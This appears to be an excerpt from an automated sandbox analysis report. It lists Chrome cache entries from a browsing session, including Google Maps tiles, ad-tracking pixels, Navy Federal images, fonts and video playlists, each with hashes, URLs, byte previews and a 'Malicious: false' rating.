SHA-256:	7B16F3736481C5AE603ECC80C97EF9087635A6D6E5FCC47C1A065CDD5DA7BEE7
SHA-512:	6DE2B14733569B3C25208482B030E54FBEA219AE13F00DFE0D9471E8CB8058D394E6579E27A24C9C7A2D5F0ACB440A55FC03037CFCFCAED83E4DE71AC2287691
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/57/0/util.js
Preview:	google.maps.__gjsload__('util', function(_){/.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT./.var Jna,Lna,Nna,Ona,eE,fE,Pna,Qna,Sna,lE,mE,nE,rE,Tna,tE,Una,wE,yE,zE,AE,GE,Xna,Yna,Zna,$na,boa,OE,doa,foa,NE,goa,TE,ioa,UE,koa,VE,moa,loa,noa,ooa,poa,qoa,roa,soa,toa,uoa,voa,woa,xoa,yoa,zoa,Aoa,Boa,Coa,Doa,Eoa,Foa,ZE,Ioa,aF,Joa,Koa,Loa,Moa,Noa,Ooa,Poa,Qoa,Roa,Soa,Uoa,Woa,Yoa,$oa,bpa,dpa,fpa,hpa,jpa,kpa,lpa,mpa,npa,opa,ppa,qpa,bF,rpa,spa,tpa,upa,vpa,wpa,ypa,dF,eF,zpa,Apa,Bpa,Cpa,Dpa,Epa,Fpa,Gpa,Hpa,Ipa,Jpa,fF,Kpa,gF,Lpa,Mpa,Npa,Opa,Ppa,Qpa,Rpa,hF,Spa,iF,Tpa,Upa,Vpa,Wpa,Xpa,Ypa,Zpa,$pa,aqa,bqa,cqa,.dqa,eqa,fqa,gqa,hqa,iqa,jqa,lqa,mqa,nqa,pqa,kF,qqa,rqa,sqa,tqa,uqa,vqa,wqa,yqa,qF,rF,tF,vF,Aqa,Bqa,wF,xF,Cqa,Dqa,Eqa,Fqa,Jqa,Kqa,Mqa,KF,Pqa,Qqa,Rqa,NF,OF,PF,QF,Wqa,UF,WF,XF,cra,dra,eG,hra,hG,iG,lra,mra,nra,ora,qra,rra,sra,tra,mG,vra,Bra,tG,Era,Dra,uG,AG,FG,Hra,Ira,Jra,Lra,Mra,WG,Ora,XG,Pra,Qra,Rra,YG,Tra,Sra,Yra,Zra,$ra,bsa,dsa,hsa,fsa,isa,gsa,ZG,$G,lsa,msa,aH,bH,nsa,psa,dH,eH,osa,rsa,

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUkwx7tHh/:fD/
MD5:	221D8352905F2C38B3CB2BD191D630B0
SHA1:	D804B495CB9B84B9007A25B5D85F9AE674004CDE
SHA-256:	89FE0EE6020314794FC2CFEACF3D10C31050CFE56F8EBDDF1ED0A33FBE941FA7
SHA-512:	CB3397776F5CA1D15D24786896B2478C6548D0B14DEC0832BFB16C4C419135300704F8A7A4DFBF56D625429C1598EE8110958648F25A3CCA09E6956C1FD3335F
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://track2.securedvisit.com/sync/4974_04438
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	11274
Entropy (8bit):	7.970165030429535
Encrypted:	false
SSDEEP:	192:+W0+vyq95RyUqIyqCKHmQWTnbmwCfmt+AAA9UhwwPhU+XdRLiXlVNprei7qu4M0D:Nvl5gUEB2wC+cA6hvpdqdrN7quZncf
MD5:	61D7D00B811450BA29FC90362AFDB786
SHA1:	008CB70EFB1AA2706DF3DB61C7A45BDE357FCD29
SHA-256:	5EC37916D6E39932143056513E6A2DBDFA9CC7417F9A921A0F63D30CE8B0EEF7
SHA-512:	8B5C3548030A7683B514BFA3794B9FF665E1EC025D6E9BC12FE60634CA0A61E3525502714A47DD3CA9ACC017B4B0451345342C0F256324AD10AC1FFD2B47875C
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyimages-1162287089-mega-menu?qlt=80&wid=320&ts=1711252930165&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...................(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma..................mdat.....!......h@2.U.p.E.Q@.G@.............\|...;..3....6......s..j:2.Z.....8}.....x.u....\.....D_N.1o.f_.V.:..6....x......(:.@_.:w..i.....{%.........a.gp]@.. ...GM....G...r......M.....]s........`.F..K..A....wqs..}-....{.._......GP...(..B....o.............\|........{.%..g.#g).}.Z..z.j#Gz\|....L.8i-..6...D.JD.z.r.n.$..[.3.=.V.{.!..l'.SC}[>O.O...;1sf...`....\|............].J.4.%.D.5u9{\.s.........M...%.........N..[...No..(w......... ...Zq..Oyx.].0.kyfvDdV.z<..w.\..#......S..XeCN9UV...Ke.Q.Y~=..W.e...:..[F.&"....AO.-...D.b.P.......{v.!....&...n!.....$X....>A..^.....V....Eq.2.-.;.n..%e%........z^M.;_~jw(.....e..2.j_,.6...>4...8b[;.d.F.<.W.2V.T....7%..&d..r......(.rH&b]&E.i..v,C.q..zdD.

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 32 x 32
Category:	downloaded
Size (bytes):	3208
Entropy (8bit):	7.521455242836997
Encrypted:	false
SSDEEP:	48:3hwXprsPLjhI4TRpiPDZmjbzpB0IDmkgl/gpx2ugG1LyZtAegoA/3wlSMilKphGa:325YPxIRiq/qpx2F3ZtA1oC3TMnphOQ
MD5:	BE1CEDE97289C13920048F238FD37B85
SHA1:	313B867D11FC0DD6BC6CA47C334BBCF18956CA76
SHA-256:	FD29B3B084CF11160BFC4E99D98A261F2B36BFF29113B07367C5204563C5D355
SHA-512:	C82BCF90173712FC1AF420154A230378F7D887F49F4B2A4B56CB9A154BA91124D407A0AC4249F2987E502083B35475E66AB4669D906D76B1BD69BCCF4E01CC47
Malicious:	false
Reputation:	low
URL:	https://i.ibb.co/RpLNy4f/ajax-loader.gif
Preview:	GIF89a . .....................666VVV......................!..Created with ajaxload.info.!.......!..NETSCAPE2.0.....,.... . ......Iia....bK.$.F...R.A.T.,..2S.05//.m.p!z...0...;$.0C....I!.HC(A@.o...!39T5.\.8)....`..d..wxG=Y..g...wHb..v.A=.0.V\.\.;........;...H.........0..t%.Hs..rY<H..........b..Z.b.OEg:...GY]..=.A.OQ.s....\b.h.9.=sg...c..e....*...f.7D..!.......,.... . ......IiY...YF5..F..R..Tb.G.J....L..d...&.Ymx...... \...@........ ....1..&R....H..4.1Q..\|V..%.z.v...#j0....l.Gg{0~..<.<..[.[.h.x..G...y.........[.0....G.....P.z...h...kz..i....y....h\|z.h.G..V.......\h..[........&.+..W.7.8...!..!.......,.... . ......I)1....1G5d].(..R..T2..jL.{..< .[.5.M....0..)... L...I...m..E..`....p..U....^f.%..^.......u.;..zz.}0.X....S0.ew.y.k<..%..O.......z..{....\|......%......F.i.1.0......Y.....8.x.....z..@....<...............8..Y<......8.\.P.$...!......!.......,.... . ......I.....g.EU... .R.a.TB.....p>'...e..$.."...\.#E1C.n.....~...J.,..,Aa.....Uw^4.I%P....u.Q.33.{0..i1T

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	192
Entropy (8bit):	3.8695407288354637
Encrypted:	false
SSDEEP:	3:yionv//thPktklFtE5lxlK1fqXz/lll0lh2EXPO+vKXB1p:6v/lhPktk/m5laQz/lll0L2EfKTp
MD5:	B6143DC81921453A5443475D2A6E6D49
SHA1:	543EBC64172E51F00EA1A4EA9BF13CD60129311D
SHA-256:	C519E1F979BDAEA7CE26FCAF7CF41D7B3A937B3C8AC9D08D8D455CE4AFD14559
SHA-512:	FBD878CB564B63635BB2BE679E7751D54003D46888036FAD703906EB18BC273AA966A61007553C2736FAC53E58E5BFE822E03E5946A2875E8BCB800808F8BB2D
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i2!3i7!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=32332
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...........I....]IDATx...[..@..0.?4......................................................................G^...a...^.&s....IEND.B`.

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (377)
Category:	dropped
Size (bytes):	2472
Entropy (8bit):	5.058419182983405
Encrypted:	false
SSDEEP:	24:OfFFkPAfPz8FkP7fPz8FkPWfPz8FkPZfPz8FkPUfPz8kP/fPzi:OfFFker8Fkzr8FkIr8FkFr8Fkqr8kPri
MD5:	717F15B12C079DD81E0758C0FEA983A1
SHA1:	423152F541D064D1D37D3BDF47DF5EC43C39FD7B
SHA-256:	347E381E4A7AC4FAB658F54C4E2F0F08ADB3BCC71761869966138950DBAAA5B2
SHA-512:	F6EB63642AFAF76AC6B508B608AFDDA2CF7061CC79C1C2E88A2A9C90BB1A8D78451D164310368CF48945E03C570C2A6EA563CEE7B50F4A799C354A372C88E0D9
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:10.#EXTINF:9.985,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment0.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/~hmac=97dcbb70dc8a68b6ded8fedd1ff02e5824aa38da4ebc11f8aa2fba66f7a6c5e4.#EXTINF:9.985,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment1.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/~hmac=97dcbb70dc8a68b6ded8fedd1ff02e5824aa38da4ebc11f8aa2fba66f7a6c5e4.#EXTINF:9.985,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-86

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG transport stream data
Category:	dropped
Size (bytes):	644088
Entropy (8bit):	7.801319671874473
Encrypted:	false
SSDEEP:	6144:DAGm/myvx8dyFSoFxhUG0Ot6p62lQ3wl/rPZdTr2qmF10XbvzyK1OziGeWbU/jVl:wVNFLfUit2xDdTCqmP0XStU/jVAT4Gk
MD5:	0C925788DDECDD925C9F05F595ECF9F5
SHA1:	FB12C4C07D1791BFD7F0EBDD563FC7830B2DC816
SHA-256:	B0731375F530D3EB211F87F46ECDC490D496E461A246DABD5C0F83ADFC3F4B8A
SHA-512:	6D4E3A4852BF1B8CF99F5BC545BC2A3B90EF3D491DAE51D383DD073E516772A51BF00536F9EBFC57276C44AA157AE1BB9C20E2EF83895F724BB2F12E73F95356
Malicious:	false
Reputation:	low
Preview:	G@.................^}.......................................................................................................................................................................GA.....................O....................................................................................................................................................................GA.0......~..........1...................gB.....?..@....@...#......h.<....../.E...H..,. .#..Zencoder Video Encoding System.....e.......q@.I....""&.y5...,.".,.".,.".,.".,.".,.".,.G..."...]u.]u.]u...._....:0....^...6........~g...6............."...m.................... ................U.~.k..G.....................]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u...}w..6............]u.]u.]u.\.u.]u.]u.]u.]u.]u.]u.]q.!..?...6..........v_..u.]u.]G..3O.......................................................

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
Preview:	{}.

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	17771
Entropy (8bit):	7.9404606249680425
Encrypted:	false
SSDEEP:	384:FzCU6CM/l7DJf8RZsyyMHQslXO9uTxnATWFo6D7mBXE:FzCUcDQyODR3FV7cXE
MD5:	052DE55FC2E3AF64624AC58BC5AFC1D7
SHA1:	3077308EDA737AAE22DE9A462B43C1715B76C7F1
SHA-256:	ED1A61844B2574E4692C4FCDFEC4C9CF901C16EBA2DC0C6EE03CA43FD10607CC
SHA-512:	CC6F7AA9B9D0F76E36CE350E33DCB6B17A588F709EA6F3B75FEA84C68DCD4B7C8F9561526D3BCE33D49AF52360C6B0CED2E4855B8E145EB395DDC6ED52F5EE00
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i3!3i6!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=28405
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...............................................................t{{mrqz}................. !$.....NRV............._ch......................................................DEF...X]`<>=...WXY.../2..........'f..........()K..n..\|.....5q.........<w..`....q...C.IDATx....v..-.............S......@.3).n{.{.0.m..h.$.@!......,........h.o. ..m!.%).K.i....~<......>:....\......?.+mL..C.LTH'...v2S.d.n...j... f....S..b.k1....`..N.[..%I+..b..{...^....:).G....Hw/..%{:6.....x.@.B.\.. ...A.B...o@`..j.V.H.[.h..V:.. \|)\|.....'.b_~...W..@..U....z#.......1......~....l&s.jd2...+.....@R.V...1.i<].p.N...(../.1....1.._`.../HXx..%...\|....R...nv.W.%..@.~$C....F3..-..8}n....wk.s...T...o1.......$.O...Q...-.o2.;.;.7...b......u.........BF...Y>KN.EX...(....L'w5.R..wR.!..'.Z#....K."-......#.?.a...'....F...9F......2..Ph7*...9(.Q_wrT......N...7"\.^B.......m9..Q..3\A.@..b.....,....3...At.q.o..ob.f0....;

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	12006
Entropy (8bit):	7.971076403745872
Encrypted:	false
SSDEEP:	192:+WkpWjE1hb36MtDsgj374VqUGaoLE/x8evW/0Z0bcR5dXALuSkj45OBUkcbSI:4WscMtYA74VqioLBeO/ssc7dXAyd5BU3
MD5:	D6B05A8548F6106B28152349526A85C0
SHA1:	664AB87083F71544E790304CBFC36A9C732AFFF5
SHA-256:	5834ACA880CEC094EC278EAD069760DF4F648270F73EC00CABBB46B3B945FE1B
SHA-512:	87C8718CCBFFB252CB3E7F2435D32C4768BB08900609962E4FB68E2192820879DA6B9E4F58F3A631C9F74DFF160765EA4EA2A064883CC9560CFA93360A651101
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyimages-1141989891?qlt=25&wid=1024&dpr=off&fit=constrain
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............-....(iinf..........infe........av01Color....jiprp...Kipco....ispe................pixi............av1C........colrnclx...........ipma.................-.mdat.....f........2.[....q.@..z........VKlV...#.az......:..O.T}.3....1....1:....o:...........\.N..P..r.953'.d...[g..^...P..i..yaV..X......3...#.A...#.6.]........6.A...R~...%.x.d5.7.R.j^<.IQ._.......{.`.......l$...e.Qp....\|...@..T.^...(g.nB.w2.b-C...........).<Q..]\;.....`.....Ec\|..Mx..b.../..Z.o......WW......on9@R....?6....z...G.G.&A.)i...=n..l{;...{.R...S.^yW^E.D.M4.".\|...k..C!G......%.J.-Z...y9}b...#.;..`...k+lHh!...@h..Lo..KJ..~.J......B.{s..[y.,.{..*..".f@.....WP.'.p.0..g$../..Cv.../].!......Fg...y..~......(.5.8h...[..>}6..O...w.&......b...:..,...f.S.)..&.21..B7..o+j1.".....P_^.u....m.....g.....N.YG...i..L..t8B6.Az.2.k.tY...g^.....AWn..k.\|W..\|=`.G\3/..ul.H...).r..u.+

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (375)
Category:	downloaded
Size (bytes):	898
Entropy (8bit):	5.237657827969263
Encrypted:	false
SSDEEP:	12:PGfiyYFl2qNwPFl2DuRPV4a2YFl2ZNwPFl2DuRPV4/5:Ofv2WTwCV4P2rTwCV4x
MD5:	781D5C28B1ED9B41FE326AFFC32A7B83
SHA1:	912613CCAED14AC2E6DB8DF46CC05AED1B81630E
SHA-256:	0D16B84A761F5BA03223D6129E1D484763694D6C9B156BE8B860997B20BA32E2
SHA-512:	A07CEA6617643817E1973F55BE5DEC76EA643CC4DB5557E02F6149009698FEA6439202D31775C973C6C46C88AB26312DF19D8F79D6918FF6D6F53DCAA4A8964D
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/rendition.m3u8?fastly_token=NjY1MTRmNDlfODY2NmIzMWQ3NDYyODE4Y2Y2MjVkNzViYzc1Nzc1ZGI3NTY0MTIwZTRmZjhmMTA2MmE5ZWU5OGQ3OGMwYjM4MQ%3D%3D
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:30.#EXTINF:30.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/segment0.vtt?akamai_token=exp=1716609792~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/~hmac=043af47b08a8ba0046fbdd3df41cd8ac187a10bace3cd5fd2ba32ba2a62f5e23.#EXTINF:20.155,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/segment1.vtt?akamai_token=exp=1716609792~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/~hmac=043af47b08a8ba0046fbdd3df41cd8ac187a10bace3cd5fd2ba32ba2a62f5e23.#EXT-X-ENDLIST.

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	2.6968929824182477
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHht:/+t
MD5:	354857DE9229BAE15647FBC6364A4B19
SHA1:	F23E9C4FADC2E01BF323E90E5C1459BB6CF4F917
SHA-256:	5ECB58845A9AC30E4EB4B18EB0E7431BA1FB195CE035309735EFAEE67421C7A3
SHA-512:	D734513CE24E1684C2729E7D1C65764498AB06913553237F9FB0E3D252178A0CF06FF02E45592DCB996D9D757D6549ABF78667E5525E9687ECEB6645E4B45951
Malicious:	false
Reputation:	low
URL:	https://secure-gl.imrworldwide.com/cgi-bin/m?ci=tradedesk&cg=00d6b47b-5df0-41e1-812e-c334ebaa9abf
Preview:	GIF89a.............!.......,...........D..;.

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=*;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	12518
Entropy (8bit):	7.977759297245103
Encrypted:	false
SSDEEP:	384:8VSfRiMzTj8JjcnWxjwkQpltN4zl4jxgfe3:8VSfRi0gJjcWxP+0+
MD5:	29AF649CAEA4E11718A8599938C33DEB
SHA1:	3E31E2BF17F6305D895F1435CA370CF3AD292E08
SHA-256:	E8F5A157DB1F17E5544434169482E066509B7482F9513D7907ED18B91071C163
SHA-512:	3CBEABA8B0323DABDE64C1492F911DB73D6071ED1A50004D762C5424A10ABBF9782FC8571999D32F9F8C3137F333A0533F470D0C682AFDA45677E4AA88A0B3CC
Malicious:	false
Reputation:	low
Preview:	RIFF.0..WEBPVP8X........?.....ALPH.........(....W.=D...T!.".9v.....8..a...w D.......en.m.......................w..t..f,..;....u.?.X.u.4.....(.m......e.`..tgO.9DL.........H3-....0.Rid..hu.......+R...lV.KRI.j.9......!1c......~...0....>x....K.%.j..7....V~..4#..F:.}s......;..R.....v.[.Be.R..'.C....lE....__......Ww.e........2;.(aD........R.4..Hf.O.a.._.......\|..\|....J..%a..3.5.>.,f>.6..Y.q....U4!5b...........W6~.a...#.g4B4}.......+..H"....8...<...+R..[.2..C)... ......D7...YB.Q..\|s..........~.].&../....~}w.+.\|..SX.Q.....3q.}.bT.E.<.'5&S..f .r...+.Lm..I...R.....BE.DZ......5....J.+.8.$..........S...ox>.."....#..!...Y.........3..........L..l .LR...2.;.1bF)"on...)......T.Q...`c.s...h......].r.LR..K.....~m.........)......_?`.z.P...$.V\|.2...D.b..;v..B.\+.1.I.%..+...jC_.hF 9g.P...C.=)R..Y...G...W.....3.L!...4..A.-....{*.FVI...m.......p........@.]8........gW.=.I.......e....\.D..:....e...iL.Q[...I.....,M@.....N....g9..E..i0.c..D..-.R

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/generic?ttd_pid=yjn0gup
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
